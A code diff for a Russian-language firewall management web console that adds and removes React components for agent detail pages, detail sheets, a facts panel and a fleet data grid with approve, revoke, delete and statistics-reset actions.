import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import { Tabs, TabsContent } from '@evofw/ui/components/tabs'
|
||||
|
||||
type Confirm = 'revoke' | 'delete' | 'reset' | null
|
||||
|
||||
/**
|
||||
* Страница агента по доске FwAgentDetail: заголовок с действиями, ошибка применения,
|
||||
* полоса показателей и линейные вкладки «Политика», «Хост-фаервол», «Правила портов», «Заблокированное».
|
||||
*/
|
||||
export function AgentDetailPage({ agentId }: { agentId: string }) {
|
||||
const qc = useQueryClient()
|
||||
const navigate = useNavigate()
|
||||
const { copyToClipboard } = useCopyToClipboard()
|
||||
const canWrite = useCan()('fw:agents:write')
|
||||
const agentQ = useQuery(agentQueryOptions(agentId))
|
||||
const previewQ = useQuery(agentPreviewQueryOptions(agentId))
|
||||
const [tab, setTab] = useState('policy')
|
||||
const [overrideOpen, setOverrideOpen] = useState(false)
|
||||
const [cloneOpen, setCloneOpen] = useState(false)
|
||||
const [confirm, setConfirm] = useState<Confirm>(null)
|
||||
|
||||
const invalidate = () => {
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId] })
|
||||
}
|
||||
const fail = (e: Error) => toast.error(e.message)
|
||||
|
||||
const approve = useMutation({
|
||||
mutationFn: () => apiFetch(`/api/v1/agents/${agentId}/approve`, { method: 'POST' }),
|
||||
onSuccess: () => {
|
||||
toast.success('Агент одобрен')
|
||||
invalidate()
|
||||
},
|
||||
onError: fail,
|
||||
})
|
||||
const revoke = useMutation({
|
||||
mutationFn: () => apiFetch(`/api/v1/agents/${agentId}/revoke`, { method: 'POST' }),
|
||||
onSuccess: () => {
|
||||
toast.success('Агент отозван')
|
||||
invalidate()
|
||||
},
|
||||
onError: fail,
|
||||
})
|
||||
const resetStats = useMutation({
|
||||
mutationFn: () => apiFetch(`/api/v1/agents/${agentId}/stats/reset`, { method: 'POST' }),
|
||||
onSuccess: () => {
|
||||
toast.success('Статистика сброшена')
|
||||
invalidate()
|
||||
for (const key of ['stats', 'blocked-ips', 'blocked-ports']) {
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, key] })
|
||||
}
|
||||
void qc.invalidateQueries({ queryKey: ['stats-recent'] })
|
||||
void qc.invalidateQueries({ queryKey: ['dashboard'] })
|
||||
},
|
||||
onError: fail,
|
||||
})
|
||||
const remove = useMutation({
|
||||
mutationFn: () => apiFetch(`/api/v1/agents/${agentId}`, { method: 'DELETE' }),
|
||||
onSuccess: () => {
|
||||
toast.success('Агент удалён')
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
void navigate({ to: '/agents', search: { view: 'cards' } })
|
||||
},
|
||||
onError: fail,
|
||||
})
|
||||
|
||||
const a = agentQ.data
|
||||
|
||||
if (agentQ.isError) {
|
||||
return (
|
||||
<Alert variant="destructive">
|
||||
<CircleAlertIcon />
|
||||
<AlertTitle>Ошибка загрузки</AlertTitle>
|
||||
<AlertDescription className="flex flex-col gap-2">
|
||||
<span>{agentQ.error?.message ?? 'Не удалось загрузить агента'}</span>
|
||||
<Button type="button" variant="outline" size="sm" className="w-fit" onClick={() => void agentQ.refetch()}>
|
||||
Повторить
|
||||
</Button>
|
||||
</AlertDescription>
|
||||
</Alert>
|
||||
)
|
||||
}
|
||||
|
||||
if (agentQ.isLoading || !a) {
|
||||
return (
|
||||
<div className="flex flex-col gap-4">
|
||||
<Skeleton className="h-10 w-56" />
|
||||
<Skeleton className="h-24 w-full" />
|
||||
<Skeleton className="h-64 w-full" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
const isLinux = a.platform === 'linux'
|
||||
const sub = [
|
||||
a.hostname,
|
||||
platformLabel(a.platform),
|
||||
`поколение ${a.policy_generation}`,
|
||||
a.default_action === 'drop' ? 'по умолчанию: блокировать' : 'по умолчанию: пропускать',
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' · ')
|
||||
|
||||
const confirmCopy: Record<Exclude<Confirm, null>, { title: string; label: string; text: string; run: () => void; pending: boolean }> = {
|
||||
revoke: {
|
||||
title: 'Отозвать агента?',
|
||||
label: 'Отозвать',
|
||||
text: `Агент «${a.name}» потеряет доступ к API управления и перестанет получать обновления политики. Действие нельзя отменить.`,
|
||||
run: () => revoke.mutate(),
|
||||
pending: revoke.isPending,
|
||||
},
|
||||
delete: {
|
||||
title: 'Удалить агента?',
|
||||
label: 'Удалить',
|
||||
text: `Агент «${a.name}» будет удалён вместе с ссылками и статистикой. Это действие нельзя отменить.`,
|
||||
run: () => remove.mutate(),
|
||||
pending: remove.isPending,
|
||||
},
|
||||
reset: {
|
||||
title: 'Сбросить статистику?',
|
||||
label: 'Сбросить',
|
||||
text: `Счётчики пакетов и история статистики агента «${a.name}» будут обнулены и удалены. Действие нельзя отменить.`,
|
||||
run: () => resetStats.mutate(),
|
||||
pending: resetStats.isPending,
|
||||
},
|
||||
}
|
||||
const active = confirm ? confirmCopy[confirm] : null
|
||||
|
||||
return (
|
||||
<>
|
||||
<Button variant="ghost" size="sm" className="-ml-2 w-fit" render={<Link to="/agents" search={{ view: 'cards' }} />} nativeButton={false}>
|
||||
<ArrowLeftIcon aria-hidden /> Агенты
|
||||
</Button>
|
||||
<PageHead
|
||||
title={a.name}
|
||||
sub={sub}
|
||||
actions={
|
||||
<>
|
||||
<span className="flex items-center gap-1.5">
|
||||
<AgentOnlineDot agent={a} />
|
||||
<StatusBadge status={a.status} />
|
||||
</span>
|
||||
{canWrite ? (
|
||||
<>
|
||||
<Button variant="outline" onClick={() => setOverrideOpen(true)}>
|
||||
IP override
|
||||
</Button>
|
||||
<Button variant="outline" onClick={() => setCloneOpen(true)}>
|
||||
Копировать наборы
|
||||
</Button>
|
||||
</>
|
||||
) : null}
|
||||
{a.install_curl ? (
|
||||
<Button
|
||||
variant="outline"
|
||||
onClick={() => {
|
||||
copyToClipboard(a.install_curl!)
|
||||
toast.success('Команда установки скопирована')
|
||||
}}
|
||||
>
|
||||
Команда установки
|
||||
</Button>
|
||||
) : null}
|
||||
{canWrite && a.status === 'pending' ? (
|
||||
<Button onClick={() => approve.mutate()} disabled={approve.isPending}>
|
||||
Утвердить
|
||||
</Button>
|
||||
) : null}
|
||||
{canWrite && a.status === 'approved' ? (
|
||||
<Button variant="outline" onClick={() => setConfirm('revoke')}>
|
||||
Отозвать
|
||||
</Button>
|
||||
) : null}
|
||||
{canWrite ? (
|
||||
<Button variant="outline" className="text-destructive" onClick={() => setConfirm('delete')}>
|
||||
Удалить агента
|
||||
</Button>
|
||||
) : null}
|
||||
</>
|
||||
}
|
||||
/>
|
||||
|
||||
{a.last_apply_error ? (
|
||||
<Alert variant="destructive">
|
||||
<CircleAlertIcon />
|
||||
<AlertTitle>Ошибка применения политики.</AlertTitle>
|
||||
<AlertDescription>{a.last_apply_error}</AlertDescription>
|
||||
</Alert>
|
||||
) : null}
|
||||
|
||||
<KpiStatGrid
|
||||
aria-label="Показатели агента"
|
||||
cards={[
|
||||
{
|
||||
id: 'traffic',
|
||||
label: 'Трафик',
|
||||
value: `↓${formatNumber(agentTrafficDropped(a))} · ↑${formatNumber(agentTrafficAccepted(a))}`,
|
||||
hint: 'накопительно',
|
||||
icon: <ActivityIcon aria-hidden />,
|
||||
iconClassName: 'text-warning',
|
||||
variant: 'warning',
|
||||
onClick: canWrite ? () => setConfirm('reset') : undefined,
|
||||
},
|
||||
{ id: 'kernel', label: 'Ядро', value: a.last_apply_kernel_method ?? '—', hint: 'метод применения', icon: <CpuIcon aria-hidden />, iconClassName: 'text-info' },
|
||||
{
|
||||
id: 'apply',
|
||||
label: 'Последнее применение',
|
||||
value: formatDateTime(a.last_apply_at),
|
||||
hint: a.last_apply_at ? formatRelativeTime(a.last_apply_at) : undefined,
|
||||
icon: <ClockIcon aria-hidden />,
|
||||
},
|
||||
{
|
||||
id: 'default',
|
||||
label: 'Если не совпало',
|
||||
value: a.default_action === 'drop' ? 'Drop' : 'Accept',
|
||||
hint: 'default action',
|
||||
icon: <ShieldIcon aria-hidden />,
|
||||
variant: a.default_action === 'drop' ? 'warning' : 'default',
|
||||
},
|
||||
]}
|
||||
/>
|
||||
|
||||
<Tabs value={tab} onValueChange={setTab} className="min-w-0 gap-4">
|
||||
<PageTabsList>
|
||||
<PageTab value="policy" label="Политика" />
|
||||
{isLinux ? <PageTab value="host" label="Хост-фаервол" /> : null}
|
||||
{isLinux ? <PageTab value="acl" label="Правила портов" /> : null}
|
||||
<PageTab value="hits" label="Заблокированное" />
|
||||
</PageTabsList>
|
||||
<TabsContent value="policy" className="flex min-w-0 flex-col gap-5">
|
||||
<div className="@container grid gap-5 @4xl:grid-cols-3">
|
||||
<div className="@4xl:col-span-2">
|
||||
<AgentPolicyTrace preview={previewQ.data} isLoading={previewQ.isLoading} />
|
||||
</div>
|
||||
<AgentFactsPanel agent={a} />
|
||||
</div>
|
||||
<AgentPolicySetsSortable agentId={agentId} />
|
||||
<AgentEffectiveCidrs preview={previewQ.data} isLoading={previewQ.isLoading} />
|
||||
</TabsContent>
|
||||
{isLinux ? (
|
||||
<TabsContent value="host" className="min-w-0">
|
||||
<AgentHostFirewall agentId={agentId} />
|
||||
</TabsContent>
|
||||
) : null}
|
||||
{isLinux ? (
|
||||
<TabsContent value="acl" className="min-w-0">
|
||||
<AgentPortAcl agentId={agentId} />
|
||||
</TabsContent>
|
||||
) : null}
|
||||
<TabsContent value="hits" className="flex min-w-0 flex-col gap-5">
|
||||
{isLinux ? <AgentBlockedPorts agentId={agentId} /> : null}
|
||||
<AgentBlockedIps agentId={agentId} platform={a.platform} />
|
||||
</TabsContent>
|
||||
</Tabs>
|
||||
|
||||
<AgentOverrideSheet agentId={agentId} open={overrideOpen} onOpenChange={setOverrideOpen} />
|
||||
<AgentCloneSetsSheet agentId={agentId} open={cloneOpen} onOpenChange={setCloneOpen} />
|
||||
<ConfirmDialog
|
||||
open={confirm !== null}
|
||||
onOpenChange={(o) => !o && setConfirm(null)}
|
||||
title={active?.title ?? ''}
|
||||
confirmLabel={active?.label ?? ''}
|
||||
description={active?.text ?? ''}
|
||||
onConfirm={() => {
|
||||
active?.run()
|
||||
setConfirm(null)
|
||||
}}
|
||||
disabled={active?.pending}
|
||||
/>
|
||||
</>
|
||||
)
|
||||
}
|
||||
@@ -1,103 +0,0 @@
|
||||
import { useQuery } from '@tanstack/react-query'
|
||||
import { XIcon } from 'lucide-react'
|
||||
import { AgentDetailView } from '@/components/agents/agent-detail-view'
|
||||
import { agentQueryOptions } from '@/queries'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { ScrollArea } from '@evofw/ui/components/scroll-area'
|
||||
import {
|
||||
Sheet,
|
||||
SheetClose,
|
||||
SheetContent,
|
||||
SheetDescription,
|
||||
SheetFooter,
|
||||
SheetHeader,
|
||||
SheetTitle,
|
||||
} from '@evofw/ui/components/sheet'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
|
||||
/**
|
||||
* Wide agent detail Sheet — inventory-9 / CRM-4 shell + SA3 body.
|
||||
* Preview: https://reui.io/preview/base/solution-inventory-9
|
||||
* · https://reui.io/preview/base/solution-crm-4
|
||||
* · https://reui.io/preview/base/solution-agents-3
|
||||
* · https://reui.io/preview/base/components/c-sheet-1
|
||||
*/
|
||||
|
||||
type AgentDetailSheetProps = {
|
||||
agentId: string | null
|
||||
open: boolean
|
||||
onOpenChange: (open: boolean) => void
|
||||
onDelete?: (id: string) => void
|
||||
}
|
||||
|
||||
export function AgentDetailSheet({
|
||||
agentId,
|
||||
open,
|
||||
onOpenChange,
|
||||
onDelete,
|
||||
}: AgentDetailSheetProps) {
|
||||
const agentQ = useQuery({
|
||||
...agentQueryOptions(agentId ?? ''),
|
||||
enabled: open && Boolean(agentId),
|
||||
})
|
||||
|
||||
const title = agentQ.data?.name ?? 'Агент'
|
||||
|
||||
return (
|
||||
<Sheet open={open} onOpenChange={onOpenChange}>
|
||||
<SheetContent
|
||||
side="right"
|
||||
showCloseButton={false}
|
||||
className={cn(
|
||||
// Override default data-[side=right]:sm:max-w-sm from @evofw/ui sheet
|
||||
'sm:max-w-none!',
|
||||
'inset-y-2 right-2 left-auto flex h-[calc(100svh-1rem)] max-w-none',
|
||||
'w-[calc(100vw-1rem)] md:w-[calc(100vw-var(--sidebar-width,240px)-1rem)]',
|
||||
'flex-col gap-0 overflow-hidden rounded-xl p-0 outline-none',
|
||||
)}
|
||||
>
|
||||
<SheetHeader className="shrink-0 gap-0 border-b p-0">
|
||||
<div className="flex min-h-11 items-center justify-between gap-2 px-4">
|
||||
<SheetTitle className="truncate text-sm font-medium leading-5">
|
||||
{title}
|
||||
</SheetTitle>
|
||||
<SheetClose
|
||||
render={
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
aria-label="Закрыть"
|
||||
className="shrink-0"
|
||||
>
|
||||
<XIcon aria-hidden="true" />
|
||||
</Button>
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
<SheetDescription className="sr-only">
|
||||
Политика, apply counters и identity агента
|
||||
</SheetDescription>
|
||||
</SheetHeader>
|
||||
|
||||
<div className="min-h-0 flex-1">
|
||||
<ScrollArea className="h-full">
|
||||
{agentId && open ? (
|
||||
<AgentDetailView agentId={agentId} onDelete={onDelete} />
|
||||
) : null}
|
||||
</ScrollArea>
|
||||
</div>
|
||||
|
||||
<SheetFooter className="bg-muted/40 shrink-0 border-t px-4 py-3">
|
||||
<SheetClose
|
||||
render={
|
||||
<Button type="button" variant="outline" className="w-full">
|
||||
Закрыть
|
||||
</Button>
|
||||
}
|
||||
/>
|
||||
</SheetFooter>
|
||||
</SheetContent>
|
||||
</Sheet>
|
||||
)
|
||||
}
|
||||
@@ -1,341 +0,0 @@
|
||||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import { useRef, useState } from 'react'
|
||||
import {
|
||||
ActivityIcon,
|
||||
CircleAlertIcon,
|
||||
ClockIcon,
|
||||
Copy,
|
||||
CopyPlusIcon,
|
||||
CpuIcon,
|
||||
MoreHorizontalIcon,
|
||||
ShieldPlusIcon,
|
||||
TerminalIcon,
|
||||
Trash2,
|
||||
} from 'lucide-react'
|
||||
import { DetailPanel } from '@/components/reui-kit'
|
||||
import {
|
||||
Alert,
|
||||
AlertDescription,
|
||||
AlertTitle,
|
||||
} from '@/components/reui/alert'
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { StatusBadge } from '@/components/status-badge'
|
||||
import {
|
||||
AgentPlatformIcon,
|
||||
platformLabel,
|
||||
} from '@/components/agents/agent-platform-icon'
|
||||
import {
|
||||
agentTrafficAccepted,
|
||||
agentTrafficDropped,
|
||||
} from '@/components/agents/agent-traffic'
|
||||
import { AgentPolicySetsSortable } from '@/components/agents/agent-policy-sets-sortable'
|
||||
import { AgentPolicyTrace } from '@/components/agents/agent-policy-trace'
|
||||
import { AgentFactsPanel } from '@/components/agents/agent-facts-panel'
|
||||
import { AgentEffectiveCidrs } from '@/components/agents/agent-effective-cidrs'
|
||||
import { AgentBlockedIps } from '@/components/agents/agent-blocked-ips'
|
||||
import {
|
||||
AgentCloneSetsSheet,
|
||||
AgentOverrideSheet,
|
||||
} from '@/components/agents/agent-settings-sheets'
|
||||
import {
|
||||
agentPreviewQueryOptions,
|
||||
agentQueryOptions,
|
||||
} from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuItem,
|
||||
DropdownMenuSeparator,
|
||||
DropdownMenuTrigger,
|
||||
} from '@evofw/ui/components/dropdown-menu'
|
||||
|
||||
/**
|
||||
* Full agent detail body — SA3 DNA for Sheet (and redirect target).
|
||||
* Preview: https://reui.io/preview/base/solution-agents-3
|
||||
* · https://reui.io/preview/base/stats-12
|
||||
* · https://reui.io/preview/base/form-7
|
||||
*/
|
||||
|
||||
type AgentDetailViewProps = {
|
||||
agentId: string
|
||||
onDelete?: (id: string) => void
|
||||
}
|
||||
|
||||
export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
const qc = useQueryClient()
|
||||
const { copyToClipboard } = useCopyToClipboard()
|
||||
const agentQ = useQuery(agentQueryOptions(agentId))
|
||||
const previewQ = useQuery(agentPreviewQueryOptions(agentId))
|
||||
const installRef = useRef<HTMLDivElement>(null)
|
||||
const [overrideOpen, setOverrideOpen] = useState(false)
|
||||
const [cloneOpen, setCloneOpen] = useState(false)
|
||||
|
||||
const revoke = useMutation({
|
||||
mutationFn: () =>
|
||||
apiFetch(`/api/v1/agents/${agentId}/revoke`, { method: 'POST' }),
|
||||
onSuccess: () => {
|
||||
toast.success('Агент отозван')
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
})
|
||||
|
||||
const approve = useMutation({
|
||||
mutationFn: () =>
|
||||
apiFetch(`/api/v1/agents/${agentId}/approve`, { method: 'POST' }),
|
||||
onSuccess: () => {
|
||||
toast.success('Агент одобрен')
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
})
|
||||
|
||||
const resetStats = useMutation({
|
||||
mutationFn: () =>
|
||||
apiFetch(`/api/v1/agents/${agentId}/stats/reset`, { method: 'POST' }),
|
||||
onSuccess: () => {
|
||||
toast.success('Статистика сброшена')
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId] })
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'stats'] })
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'blocked-ips'] })
|
||||
void qc.invalidateQueries({ queryKey: ['stats'] })
|
||||
void qc.invalidateQueries({ queryKey: ['dashboard'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
})
|
||||
|
||||
const a = agentQ.data
|
||||
|
||||
if (agentQ.isLoading || !a) {
|
||||
return (
|
||||
<div className="flex flex-col gap-4 p-4">
|
||||
<Skeleton className="h-10 w-56" />
|
||||
<Skeleton className="h-24 w-full" />
|
||||
<Skeleton className="h-64 w-full" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
if (agentQ.isError) {
|
||||
return (
|
||||
<div className="p-4">
|
||||
<Alert variant="destructive">
|
||||
<CircleAlertIcon />
|
||||
<AlertTitle>Ошибка загрузки</AlertTitle>
|
||||
<AlertDescription>
|
||||
{agentQ.error?.message ?? 'Не удалось загрузить агента'}
|
||||
</AlertDescription>
|
||||
</Alert>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
const headerDesc = [
|
||||
a.hostname,
|
||||
platformLabel(a.platform),
|
||||
`gen ${a.policy_generation}`,
|
||||
a.default_action === 'drop' ? 'default Drop' : 'default Accept',
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' · ')
|
||||
|
||||
return (
|
||||
<>
|
||||
<div className="flex flex-col gap-4 p-4">
|
||||
<DetailPanel>
|
||||
<DetailPanel.Header
|
||||
title={a.name}
|
||||
description={headerDesc}
|
||||
actions={
|
||||
<>
|
||||
<AgentPlatformIcon platform={a.platform} />
|
||||
<StatusBadge status={a.status} />
|
||||
<Badge
|
||||
variant={
|
||||
a.default_action === 'drop'
|
||||
? 'warning-light'
|
||||
: 'success-light'
|
||||
}
|
||||
size="sm"
|
||||
radius="full"
|
||||
>
|
||||
{a.default_action === 'drop' ? 'Drop' : 'Accept'}
|
||||
</Badge>
|
||||
{a.status === 'pending' ? (
|
||||
<Button
|
||||
size="sm"
|
||||
onClick={() => approve.mutate()}
|
||||
disabled={approve.isPending}
|
||||
>
|
||||
Approve
|
||||
</Button>
|
||||
) : null}
|
||||
{a.status === 'approved' ? (
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => revoke.mutate()}
|
||||
disabled={revoke.isPending}
|
||||
>
|
||||
Revoke
|
||||
</Button>
|
||||
) : null}
|
||||
{a.install_curl ? (
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => {
|
||||
copyToClipboard(a.install_curl!)
|
||||
toast.success('Скопировано')
|
||||
}}
|
||||
>
|
||||
<Copy data-icon="inline-start" />
|
||||
Install
|
||||
</Button>
|
||||
) : null}
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger
|
||||
render={
|
||||
<Button
|
||||
variant="outline"
|
||||
size="icon-sm"
|
||||
aria-label="Ещё"
|
||||
/>
|
||||
}
|
||||
>
|
||||
<MoreHorizontalIcon className="size-4" />
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
<DropdownMenuItem onClick={() => setOverrideOpen(true)}>
|
||||
<ShieldPlusIcon className="size-4" />
|
||||
IP override
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem onClick={() => setCloneOpen(true)}>
|
||||
<CopyPlusIcon className="size-4" />
|
||||
Копировать наборы
|
||||
</DropdownMenuItem>
|
||||
{a.install_curl ? (
|
||||
<DropdownMenuItem
|
||||
onClick={() => {
|
||||
copyToClipboard(a.install_curl!)
|
||||
toast.success('Скопировано')
|
||||
installRef.current?.scrollIntoView({
|
||||
behavior: 'smooth',
|
||||
})
|
||||
}}
|
||||
>
|
||||
<TerminalIcon className="size-4" />
|
||||
Install curl
|
||||
</DropdownMenuItem>
|
||||
) : null}
|
||||
{onDelete ? (
|
||||
<>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem
|
||||
variant="destructive"
|
||||
onClick={() => onDelete(agentId)}
|
||||
>
|
||||
<Trash2 className="size-4" />
|
||||
Удалить агента
|
||||
</DropdownMenuItem>
|
||||
</>
|
||||
) : null}
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
</>
|
||||
}
|
||||
/>
|
||||
|
||||
{a.last_apply_error ? (
|
||||
<Alert variant="destructive">
|
||||
<CircleAlertIcon />
|
||||
<AlertTitle>Ошибка apply</AlertTitle>
|
||||
<AlertDescription>{a.last_apply_error}</AlertDescription>
|
||||
</Alert>
|
||||
) : null}
|
||||
|
||||
<DetailPanel.Metrics
|
||||
cards={[
|
||||
{
|
||||
id: 'traffic',
|
||||
icon: <ActivityIcon aria-hidden />,
|
||||
iconClassName: 'text-warning',
|
||||
label: 'Traffic',
|
||||
description: `↓${agentTrafficDropped(a)} · ↑${agentTrafficAccepted(a)}`,
|
||||
hint: 'накопительно',
|
||||
variant: 'warning',
|
||||
footer: (
|
||||
<Button
|
||||
type="button"
|
||||
size="sm"
|
||||
variant="outline"
|
||||
disabled={resetStats.isPending}
|
||||
onClick={() => resetStats.mutate()}
|
||||
>
|
||||
Сбросить
|
||||
</Button>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: 'kernel',
|
||||
icon: <CpuIcon aria-hidden />,
|
||||
iconClassName: 'text-info',
|
||||
label: 'Kernel',
|
||||
description: a.last_apply_kernel_method ?? '—',
|
||||
},
|
||||
{
|
||||
id: 'apply',
|
||||
icon: <ClockIcon aria-hidden />,
|
||||
iconClassName: 'text-primary',
|
||||
label: 'Last apply',
|
||||
description: a.last_apply_at ?? '—',
|
||||
},
|
||||
]}
|
||||
/>
|
||||
|
||||
<DetailPanel.Section>
|
||||
<div className="@container flex flex-col gap-4">
|
||||
<div className="grid gap-4 @4xl:grid-cols-3">
|
||||
<div className="@4xl:col-span-2">
|
||||
<AgentPolicyTrace
|
||||
preview={previewQ.data}
|
||||
isLoading={previewQ.isLoading}
|
||||
/>
|
||||
</div>
|
||||
<AgentFactsPanel agent={a} />
|
||||
</div>
|
||||
|
||||
<div ref={installRef}>
|
||||
<AgentPolicySetsSortable agentId={agentId} />
|
||||
</div>
|
||||
|
||||
<AgentEffectiveCidrs
|
||||
preview={previewQ.data}
|
||||
isLoading={previewQ.isLoading}
|
||||
/>
|
||||
|
||||
<AgentBlockedIps agentId={agentId} platform={a.platform} />
|
||||
</div>
|
||||
</DetailPanel.Section>
|
||||
</DetailPanel>
|
||||
</div>
|
||||
|
||||
<AgentOverrideSheet
|
||||
agentId={agentId}
|
||||
open={overrideOpen}
|
||||
onOpenChange={setOverrideOpen}
|
||||
/>
|
||||
<AgentCloneSetsSheet
|
||||
agentId={agentId}
|
||||
open={cloneOpen}
|
||||
onOpenChange={setCloneOpen}
|
||||
/>
|
||||
</>
|
||||
)
|
||||
}
|
||||
@@ -18,6 +18,7 @@ import {
|
||||
SelectValue,
|
||||
} from '@evofw/ui/components/select'
|
||||
import { Separator } from '@evofw/ui/components/separator'
|
||||
import { formatDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Agent facts panel — SA3 RunFacts DNA (editable default_action).
|
||||
@@ -31,9 +32,7 @@ type AgentFactsPanelProps = {
|
||||
|
||||
function formatWhen(iso?: string | null): string {
|
||||
if (!iso) return '—'
|
||||
const d = new Date(iso)
|
||||
if (Number.isNaN(d.getTime())) return iso
|
||||
return d.toLocaleString('ru-RU')
|
||||
return formatDateTime(iso)
|
||||
}
|
||||
|
||||
export function AgentFactsPanel({ agent }: AgentFactsPanelProps) {
|
||||
|
||||
@@ -1,11 +1,15 @@
|
||||
import { useCallback, useMemo, type MouseEvent, type ReactNode } from 'react'
|
||||
import type { ColumnDef } from '@tanstack/react-table'
|
||||
import type { ColumnDef, RowSelectionState } from '@tanstack/react-table'
|
||||
import { Check, Copy, PanelRight, Trash2 } from 'lucide-react'
|
||||
import type { Agent } from '@evofw/shared'
|
||||
import type { Filter, FilterFieldConfig } from '@/components/reui/filters'
|
||||
import { ResourcePage } from '@/components/reui-kit'
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
|
||||
import {
|
||||
DataGridTableRowSelect,
|
||||
DataGridTableRowSelectAll,
|
||||
} from '@/components/reui/data-grid/data-grid-table'
|
||||
import {
|
||||
DataGridMutedCell,
|
||||
DataGridPrimaryCell,
|
||||
@@ -20,12 +24,15 @@ import {
|
||||
agentTrafficAccepted,
|
||||
agentTrafficDropped,
|
||||
} from '@/components/agents/agent-traffic'
|
||||
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||
import { formatRelativeTime } from '@/lib/format'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import {
|
||||
Tooltip,
|
||||
TooltipContent,
|
||||
TooltipTrigger,
|
||||
} from '@evofw/ui/components/tooltip'
|
||||
import { formatPackets } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Fleet triage DataGrid — firewall ops density.
|
||||
@@ -34,30 +41,6 @@ import {
|
||||
* · https://reui.io/preview/base/solution-agents-1
|
||||
*/
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
||||
notation: 'compact',
|
||||
maximumFractionDigits: 1,
|
||||
})
|
||||
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
})
|
||||
|
||||
function formatPackets(n: number | undefined, hasApply: boolean): string {
|
||||
if (!hasApply || n === undefined) return '—'
|
||||
return packetFmt.format(n)
|
||||
}
|
||||
|
||||
function formatAgentSeen(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
export type AgentFleetDataGridProps = {
|
||||
data: Agent[]
|
||||
filterFields: FilterFieldConfig[]
|
||||
@@ -77,7 +60,17 @@ export type AgentFleetDataGridProps = {
|
||||
error?: Error | null
|
||||
onRetry?: () => void
|
||||
emptyAction?: ReactNode
|
||||
filteredEmptyMessage?: string
|
||||
toolbarExtra?: ReactNode
|
||||
/** Bulk-операции: controlled selection пробрасывается в ResourcePage. */
|
||||
enableRowSelection?: boolean
|
||||
rowSelection?: RowSelectionState
|
||||
onRowSelectionChange?: (rowSelection: RowSelectionState) => void
|
||||
selectionToolbar?: (ctx: {
|
||||
selectedIds: string[]
|
||||
selectedCount: number
|
||||
clearSelection: () => void
|
||||
}) => ReactNode
|
||||
onSelect: (id: string) => void
|
||||
onApprove: (id: string) => void
|
||||
approvePending?: boolean
|
||||
@@ -104,7 +97,12 @@ export function AgentFleetDataGrid({
|
||||
error,
|
||||
onRetry,
|
||||
emptyAction,
|
||||
filteredEmptyMessage,
|
||||
toolbarExtra,
|
||||
enableRowSelection,
|
||||
rowSelection,
|
||||
onRowSelectionChange,
|
||||
selectionToolbar,
|
||||
onSelect,
|
||||
onApprove,
|
||||
approvePending,
|
||||
@@ -121,6 +119,18 @@ export function AgentFleetDataGrid({
|
||||
|
||||
const columns: ColumnDef<Agent>[] = useMemo(
|
||||
() => [
|
||||
...(enableRowSelection
|
||||
? [
|
||||
{
|
||||
id: '__select__',
|
||||
enableSorting: false,
|
||||
enableResizing: false,
|
||||
size: 44,
|
||||
header: () => <DataGridTableRowSelectAll />,
|
||||
cell: ({ row }) => <DataGridTableRowSelect row={row} />,
|
||||
} as ColumnDef<Agent>,
|
||||
]
|
||||
: []),
|
||||
{
|
||||
accessorKey: 'name',
|
||||
size: 260,
|
||||
@@ -159,12 +169,12 @@ export function AgentFleetDataGrid({
|
